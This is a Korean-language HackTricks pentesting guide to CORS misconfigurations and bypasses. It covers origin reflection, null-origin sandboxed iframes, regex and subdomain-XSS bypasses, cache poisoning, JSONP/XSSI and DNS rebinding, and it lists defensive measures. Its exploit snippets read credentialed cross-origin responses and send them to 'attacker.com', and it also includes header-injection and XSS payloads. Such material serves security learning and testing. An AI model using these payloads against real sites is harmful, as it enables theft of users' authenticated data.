hacktricks/pentesting-web/cors-bypass.md

29 KiB

CORS - Misconfigurations & Bypass

htARTE (HackTricks AWS Red Team Expert)에서 AWS 해킹을 제로부터 전문가로 배우세요!

HackTricks를 지원하는 다른 방법:

{% embed url="https://websec.nl/" %}

CORS가 무엇인가요?

Cross-Origin Resource Sharing (CORS) 표준은 서버가 자산에 액세스할 수 있는 대상외부 소스에서 허용된 HTTP 요청 방법을 정의할 수 있도록 합니다.

동일 출처 정책은 자원을 요청하는 서버자원을 호스팅하는 서버가 동일한 프로토콜 (예: http://), 도메인 이름 (예: internal-web.com), 및 포트 (예: 80)를 공유해야 한다는 규칙입니다. 이 정책에 따르면, 동일한 도메인 및 포트의 웹 페이지만이 자원에 액세스할 수 있습니다.

http://normal-website.com/example/example.html의 경우 동일 출처 정책의 적용은 다음과 같이 설명됩니다:

액세스된 URL 허용 여부
http://normal-website.com/example/ 예: 동일한 스킴, 도메인 및 포트
http://normal-website.com/example2/ 예: 동일한 스킴, 도메인 및 포트
https://normal-website.com/example/ 아니요: 다른 스킴 및 포트
http://en.normal-website.com/example/ 아니요: 다른 도메인
http://www.normal-website.com/example/ 아니요: 다른 도메인
http://normal-website.com:8080/example/ 아니요: 다른 포트*

*인터넷 익스플로러는 동일 출처 정책을 시행할 때 포트 번호를 무시하여 이 액세스를 허용합니다.

Access-Control-Allow-Origin 헤더

이 헤더는 여러 출처, null 값 또는 와일드카드 *****를 허용할 수 있습니다. 그러나 브라우저는 여러 출처를 지원하지 않으며, 와일드카드 *의 사용은 제한을 받습니다. (와일드카드는 단독으로 사용해야 하며, Access-Control-Allow-Credentials: true와 함께 사용하는 것은 허용되지 않습니다.)

이 헤더는 웹사이트에서 시작된 교차 도메인 자원 요청에 대한 응답으로 서버에 의해 발행되며, 브라우저는 자동으로 Origin 헤더를 추가합니다.

Access-Control-Allow-Credentials 헤더

기본적으로, 교차 출처 요청은 쿠키나 인증 헤더와 같은 자격 증명 없이 이루어집니다. 그러나 교차 도메인 서버는 Access-Control-Allow-Credentials 헤더를 **true**로 설정하여 자격 증명이 전송될 때 응답을 읽을 수 있도록 허용할 수 있습니다.

true로 설정하면 브라우저가 자격 증명 (쿠키, 인증 헤더 또는 TLS 클라이언트 인증서)를 전송합니다.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF 사전 요청

교차 도메인 통신에서 사전 요청 이해

특정 조건 하에서 교차 도메인 요청을 시작할 때, 표준이 아닌 HTTP 메소드(HEAD, GET, POST 이외의 것)를 사용하거나 새로운 헤더를 도입하거나 특별한 Content-Type 헤더 값을 사용하는 경우, 사전 요청이 필요할 수 있습니다. 이 사전 요청은 OPTIONS 메소드를 활용하여 교차 출처 요청의 의도, 사용할 HTTP 메소드 및 헤더 등을 서버에 알리는 역할을 합니다.

교차 출처 자원 공유 (CORS) 프로토콜은 이 사전 확인을 강제하여 요청된 교차 출처 작업의 실행 가능성을 결정하며, 허용된 메소드, 헤더 및 출처의 신뢰성을 확인합니다. 사전 요청이 필요하지 않은 조건에 대한 자세한 이해를 위해서는 Mozilla Developer Network (MDN)에서 제공하는 포괄적인 가이드를 참조하십시오.

사전 요청의 부재는 응답이 인가 헤더를 포함해야 하는 요구 사항을 제거하지 않음을 주의해야 합니다. 이러한 헤더가 없으면 브라우저는 교차 출처 요청으로부터의 응답을 처리하는 능력이 제한됩니다.

다음은 PUT 메소드와 Special-Request-Header라는 사용자 정의 헤더를 사용하기 위한 사전 요청의 예시를 고려해보십시오:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

다음은 서버가 허용된 메소드, 허용된 출천지, 그리고 다른 CORS 정책 세부사항을 나타내는 헤더를 반환할 수 있습니다. 아래와 같이 표시됩니다:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: 이 헤더는 실제 요청 중에 사용할 수 있는 헤더를 지정합니다. 서버에서 클라이언트로부터의 요청에서 허용된 헤더를 나타내기 위해 설정됩니다.
  • Access-Control-Expose-Headers: 이 헤더를 통해 서버는 간단한 응답 헤더 외에 응답의 일부로 노출될 수 있는 헤더에 대해 클라이언트에게 알립니다.
  • Access-Control-Max-Age: 이 헤더는 사전 플라이트 요청의 결과를 캐시할 수 있는 시간을 나타냅니다. 서버는 사전 플라이트 요청에 의해 반환된 정보가 재사용될 수 있는 최대 시간(초)을 설정합니다.
  • Access-Control-Request-Headers: 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용하려는 HTTP 헤더에 대해 서버에 알립니다.
  • Access-Control-Request-Method: 또한 사전 플라이트 요청에서 사용되며, 이 헤더는 클라이언트가 실제 요청에서 사용할 HTTP 메서드를 나타내기 위해 설정됩니다.
  • Origin: 이 헤더는 브라우저에 의해 자동으로 설정되며, 교차 출처 요청의 출처를 나타냅니다. 서버는 CORS 정책에 따라 들어오는 요청을 허용할지 거부할지 판단하는 데 사용됩니다.

참고: 일반적으로 (콘텐츠 유형 및 설정된 헤더에 따라) GET/POST 요청에서는 사전 플라이트 요청이 전송되지 않습니다 (요청이 직접 전송됨), 그러나 응답의 헤더/본문에 액세스하려면 Access-Control-Allow-Origin 헤더를 포함해야 합니다.
따라서, CORS는 CSRF에 대해 보호하지 않지만 도움이 될 수 있습니다.

로컬 네트워크 요청 사전 플라이트 요청

  1. Access-Control-Request-Local-Network: 이 헤더는 클라이언트의 요청에 포함되어 있어서, 해당 조회가 로컬 네트워크 리소스를 대상으로 한 것임을 나타냅니다. 서버에게 요청이 로컬 네트워크 내에서 발생했음을 알리는 표식 역할을 합니다.
  2. Access-Control-Allow-Local-Network: 응답에서, 서버는 요청된 리소스가 로컬 네트워크 외부의 엔티티와 공유할 수 있도록 허용된다는 것을 전달하기 위해 이 헤더를 활용합니다. 이는 서로 다른 네트워크 경계를 횡단하여 리소스를 공유할 수 있도록 하며, 보안 프로토콜을 유지하면서 제어된 액세스를 보장합니다.

로컬 네트워크 요청을 허용하는 유효한 응답은 응답에 Access-Controls-Allow-Local_network: true 헤더도 포함되어야 합니다:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} 리눅스 0.0.0.0 IP는 로컬로 간주되지 않기 때문에 로컬호스트에 액세스하기 위해 이러한 요구 사항을 우회하는 데 사용됩니다.

또한, 로컬 네트워크 요구 사항을 우회하는 것이 가능합니다. 이를 위해 로컬 엔드포인트의 공개 IP 주소(예: 라우터의 공개 IP)를 사용하는 것이 가능합니다. 왜냐하면 여러 경우에, 심지어 공개 IP에 액세스하더라도, 만약 로컬 네트워크에서 액세스하는 경우에는 액세스가 허용될 것입니다. {% endhint %}

Exploitable misconfigurations

Access-Control-Allow-Credentials를 **true**로 설정하는 것이 대부분의 실제 공격에 대한 선행 조건임이 관찰되었습니다. 이 설정은 브라우저가 자격 증명을 보내고 응답을 읽을 수 있도록 허용하여 공격의 효과를 향상시킵니다. 이를 통해 브라우저에 요청을 보내는 것보다 사용자의 쿠키를 활용하는 이점이 사라지게 됩니다.

Exception: Exploiting Network Location as Authentication

피해자의 네트워크 위치가 인증 수단으로 작용하는 예외가 존재합니다. 이를 통해 피해자의 브라우저를 프록시로 사용하여 IP 기반 인증을 우회하여 인트라넷 애플리케이션에 액세스할 수 있습니다. 이 방법은 DNS 리바인딩과 유사한 영향을 공유하지만 더 간단하게 악용할 수 있습니다.

Reflection of Origin in Access-Control-Allow-Origin

Origin 헤더의 값이 Access-Control-Allow-Origin에 반영되는 실제 시나리오는 이 두 헤더를 결합하는 제한으로 인해 이론적으로 불가능합니다. 그러나 여러 URL에 대해 CORS를 활성화하려는 개발자들은 Origin 헤더의 값을 복사하여 동적으로 Access-Control-Allow-Origin 헤더를 생성할 수 있습니다. 이 접근 방식은 취약점을 도입할 수 있으며, 특히 공격자가 유효성 검사 논리를 속이기 위해 합법적으로 보이도록 설계된 도메인을 사용하는 경우에는 더욱 그렇습니다.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null Origin 악용

null 원점은 리디렉션 또는 로컬 HTML 파일과 같은 상황을 위해 지정된 원점으로, 독특한 위치를 가지고 있습니다. 일부 애플리케이션은 이 원점을 로컬 개발을 용이하게 하기 위해 화이트리스트에 추가하는데, 이로 인해 샌드박스된 iframe을 통해 웹 사이트가 null 원점을 모방하여 CORS 제한을 우회할 수 있습니다.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

정규 표현식 우회 기법

도메인 화이트리스트를 만나면, 공격자의 도메인을 화이트리스트에 추가하거나 서브도메인 탈취 취약점을 악용하는 등 우회 기회를 테스트하는 것이 중요합니다. 또한, 도메인 유효성 검사에 사용되는 정규 표현식은 도메인 명명 규칙의 세부 사항을 간과할 수 있어 추가적인 우회 기회를 제공할 수 있습니다.

고급 정규 표현식 우회

정규식 패턴은 일반적으로 알파벳, 점(.), 하이픈(-) 문자에 집중하며, 다른 가능성을 간과합니다. 예를 들어, 브라우저와 정규식 패턴에서 다르게 해석되는 문자를 포함한 도메인 이름은 보안 검사를 우회할 수 있습니다. Safari, Chrome 및 Firefox가 서브도메인의 밑줄 문자를 처리하는 방식은 이러한 차이가 도메인 유효성 검사 논리를 우회하는 데 어떻게 악용될 수 있는지 보여줍니다.

이 우회 검사의 자세한 정보 및 설정에 대한 자세한 내용은: https://www.corben.io/advanced-cors-techniques/ https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

서브도메인 내 XSS로부터

개발자들은 종종 CORS 악용에 대비하기 위해 정보 요청이 허용된 도메인을 화이트리스트에 등록함으로써 방어 메커니즘을 구현합니다. 그러나 이러한 예방 조치에도 불구하고, 시스템의 보안은 완벽하지 않을 수 있습니다. 화이트리스트에 있는 도메인 중 취약한 서브도메인 하나라도 존재하면, XSS(Cross-Site Scripting)와 같은 다른 취약점을 통해 CORS 악용의 문을 열 수 있습니다.

예를 들어, 도메인 requester.com이 다른 도메인 provider.com에서 리소스에 액세스할 수 있도록 화이트리스트에 등록되어 있다고 가정해보겠습니다. 서버 측 구성은 다음과 같을 수 있습니다:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

이 설정에서 requester.com의 모든 하위 도메인이 액세스를 허용합니다. 그러나 sub.requester.com과 같은 하위 도메인이 XSS 취약점으로 침해당하면 공격자가 이 취약점을 활용할 수 있습니다. 예를 들어 sub.requester.com에 액세스 권한이 있는 공격자는 XSS 취약점을 악용하여 CORS 정책을 우회하고 provider.com의 리소스에 악의적으로 액세스할 수 있습니다.

서버 측 캐시 독려

이 연구에서

HTTP 헤더 삽입을 통해 서버 측 캐시 독려를 악용함으로써 저장된 Cross-Site Scripting (XSS) 취약점을 유발할 수 있습니다. 이 시나리오는 응용 프로그램이 Origin 헤더를 부적절한 문자로 살균하지 않을 때 발생하며, 특히 Internet Explorer 및 Edge 사용자에게 취약점을 만듭니다. 이러한 브라우저는 (0x0d)을 합법적인 HTTP 헤더 종결자로 취급하여 HTTP 헤더 삽입 취약점을 유발합니다.

다음과 같이 Origin 헤더가 조작된 요청을 고려해보십시오:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

인터넷 익스플로러와 엣지는 응답을 다음과 같이 해석합니다:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

직접적으로 취약점을 악용하여 웹 브라우저가 잘못된 헤더를 보내도록 하는 것은 실행 가능하지 않지만, Burp Suite와 같은 도구를 사용하여 수동으로 생성된 조작된 요청은 서버 측 캐시가 응답을 저장하고 다른 사람에게 무심코 제공할 수 있습니다. 조작된 페이로드는 페이지의 문자 집합을 UTF-7로 변경하는 것을 목표로 하며, 이는 특정 상황에서 스크립트로 실행될 수 있는 문자를 인코딩할 수 있는 능력으로 인해 XSS 취약점과 자주 관련이 있습니다.

저장된 XSS 취약점에 대한 자세한 내용은 PortSwigger를 참조하십시오.

참고: HTTP 헤더 삽입 취약점의 악용, 특히 서버 측 캐시 오염을 통해, HTTP 헤더를 포함한 모든 사용자 제공 입력을 확인하고 살균하는 것이 중요함을 강조합니다. 이러한 취약점을 방지하기 위해 입력 유효성을 검사하는 견고한 보안 모델을 항상 사용하십시오.

클라이언트 측 캐시 오염

이 연구에서

이 시나리오에서는 적절한 인코딩 없이 사용자 지정 HTTP 헤더의 내용을 반영하는 웹 페이지의 인스턴스가 관찰됩니다. 구체적으로, 웹 페이지는 X-User-id 헤더에 포함된 내용을 다시 반영하며, 이는 로드 시에 JavaScript 코드를 실행하도록 설계된 SVG 이미지 태그를 포함하는 예제에 의해 악의적인 JavaScript를 포함할 수 있습니다.

Cross-Origin Resource Sharing (CORS) 정책은 사용자 지정 헤더를 보낼 수 있도록 합니다. 그러나 CORS 제한으로 인해 응답이 브라우저에 직접 렌더링되지 않는 경우, 이러한 삽입의 유틸리티는 제한적으로 보일 수 있습니다. 중요한 점은 브라우저의 캐시 동작을 고려할 때 발생합니다. Vary: Origin 헤더가 지정되지 않으면 악의적인 응답이 브라우저에 의해 캐시될 수 있습니다. 결과적으로 이 캐시된 응답은 URL로 이동할 때 직접 렌더링되어 초기 요청 시 직접 렌더링이 필요하지 않게 됩니다. 이 메커니즘은 클라이언트 측 캐싱을 활용하여 공격의 신뢰성을 향상시킵니다.

이 공격을 설명하기 위해 JavaScript 예제가 제공되었으며, 이는 JSFiddle을 통해 웹 페이지 환경에서 실행되도록 설계되었습니다. 이 스크립트는 간단한 작업을 수행합니다: 악의적인 JavaScript를 포함하는 사용자 지정 헤더가 포함된 지정된 URL로 요청을 보냅니다. 요청이 성공적으로 완료되면 대상 URL로 이동을 시도하여, 응답이 Vary: Origin 헤더를 올바르게 처리하지 않고 캐시된 경우 삽입된 스크립트의 실행을 유도할 수 있습니다.

다음은 이 공격을 실행하는 데 사용된 JavaScript의 요약된 분석입니다:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

우회

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, Cross-Site Script Inclusion으로도 알려진 것은 스크립트 태그를 사용하여 리소스를 포함할 때 동일 출처 정책(SOP)이 적용되지 않는 취약성 유형입니다. 이는 스크립트가 다른 도메인에서 포함될 수 있어야 하기 때문입니다. 이 취약성을 통해 공격자는 스크립트 태그를 사용하여 포함된 모든 콘텐츠에 액세스하고 읽을 수 있습니다.

이 취약성은 특히 동적 JavaScript 또는 JSONP(JSON with Padding)에서 중요해지며, 특히 쿠키와 같은 환경 권한 정보가 인증에 사용될 때입니다. 다른 호스트에서 리소스를 요청할 때 쿠키가 포함되어 공격자에게 액세스 가능해집니다.

이 취약성을 이해하고 완화하기 위해 https://github.com/kapytein/jsonp에서 사용할 수 있는 BurpSuite 플러그인을 사용할 수 있습니다. 이 플러그인은 웹 애플리케이션에서 XSSI 취약성을 식별하고 해결하는 데 도움이 될 수 있습니다.

여기에서 다양한 유형의 XSSI 및 그들을 어떻게 악용하는지 자세히 알아보세요.

요청에 callback 매개변수를 추가해 보세요. 페이지가 데이터를 JSONP로 보내도록 준비되어 있을 수 있습니다. 이 경우 페이지는 Content-Type: application/javascript로 데이터를 다시 보내 CORS 정책을 우회할 것입니다.

쉬운 (의미 없는?) 우회

Access-Control-Allow-Origin 제한을 우회하는 한 가지 방법은 웹 애플리케이션에 요청하여 대신 응답을 보내도록 하는 것입니다. 그러나 이 시나리오에서 최종 피해자의 자격 증명은 다른 도메인으로 요청이 이루어지기 때문에 전송되지 않습니다.

  1. CORS-escape: 이 도구는 요청과 함께 헤더를 전달하고 요청된 도메인과 일치하도록 Origin 헤더를 스푸핑하는 프록시를 제공합니다. 이를 통해 CORS 정책을 우회할 수 있습니다. XMLHttpRequest를 사용한 예시는 다음과 같습니다:
  2. simple-cors-escape: 이 도구는 요청을 그대로 전달하는 대신 서버가 지정된 매개변수로 자체 요청을 수행합니다.

Iframe + 팝업 우회

e.origin === window.origin과 같은 CORS 확인을 우회하기 위해 iframe을 생성하고 새 창을 열어 우회할 수 있습니다. 자세한 내용은 다음 페이지에서 확인할 수 있습니다:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL을 통한 DNS 리바인딩

TTL을 통한 DNS 리바인딩은 DNS 레코드를 조작하여 특정 보안 조치를 우회하는 기술입니다. 작동 방식은 다음과 같습니다:

  1. 공격자가 웹 페이지를 만들고 피해자가 액세스하도록 합니다.
  2. 공격자는 자신의 도메인의 DNS(IP)을 피해자의 웹 페이지를 가리키도록 변경합니다.
  3. 피해자의 브라우저는 DNS 응답을 캐시하며, DNS 레코드가 유효한 기간을 나타내는 TTL(Time to Live) 값을 가질 수 있습니다.
  4. TTL이 만료되면 피해자의 브라우저는 새 DNS 요청을 수행하며, 공격자는 피해자의 페이지에서 JavaScript 코드를 실행할 수 있습니다.
  5. 피해자의 IP를 제어하면서, 공격자는 피해자에게 쿠키를 전송하지 않고도 피해자로부터 정보를 수집할 수 있습니다.

이 기술은 낮은 TTL 값으로도 즉시 이 기술을 악용하는 것을 방지할 수 있는 브라우저의 캐싱 메커니즘이 있다는 점을 유의해야 합니다.

DNS 리바인딩은 피해자가 수행하는 명시적 IP 확인을 우회하거나 사용자 또는 봇이 동일한 페이지에 오랜 기간 머무르는 시나리오에 유용할 수 있습니다.

기타 일반적인 우회 방법

  • 내부 IP가 허용되지 않는 경우, 0.0.0.0을 금지하는 것을 잊을 수 있음 (Linux 및 Mac에서 작동)
  • 내부 IP가 허용되지 않는 경우, 로컬호스트에 대한 CNAME으로 응답 (Linux 및 Mac에서 작동)
  • 내부 IP가 DNS 응답으로 허용되지 않는 경우, www.corporate.internal과 같은 내부 서비스에 대한 CNAME으로 응답할 수 있음.

DNS Rebidding 무기화

이전 우회 기술에 대한 자세한 정보 및 다음 도구 사용 방법은 Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference에서 확인할 수 있습니다.

Singularity of OriginDNS rebinding 공격을 수행하는 도구입니다. 이 도구에는 공격 서버 DNS 이름의 IP 주소를 대상 기기의 IP 주소로 재바인딩하고 대상 기기의 취약한 소프트웨어를 공격하는 페이로드를 제공하는 데 필요한 구성 요소가 포함되어 있습니다.

DNS Rebinding에 대한 실제 보호

  • 내부 서비스에서 TLS 사용
  • 데이터에 액세스하기 위해 인증 요청
  • Host 헤더 유효성 검사
  • https://wicg.github.io/private-network-access/: 공용 서버가 내부 서버에 액세스하려는 경우 항상 사전 플라이트 요청을 보내도록 제안

도구

CORS 정책에서 잘못된 구성을 퍼징

참고 자료

{% embed url="https://websec.nl/" %}

AWS 해킹을 처음부터 전문가까지 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법: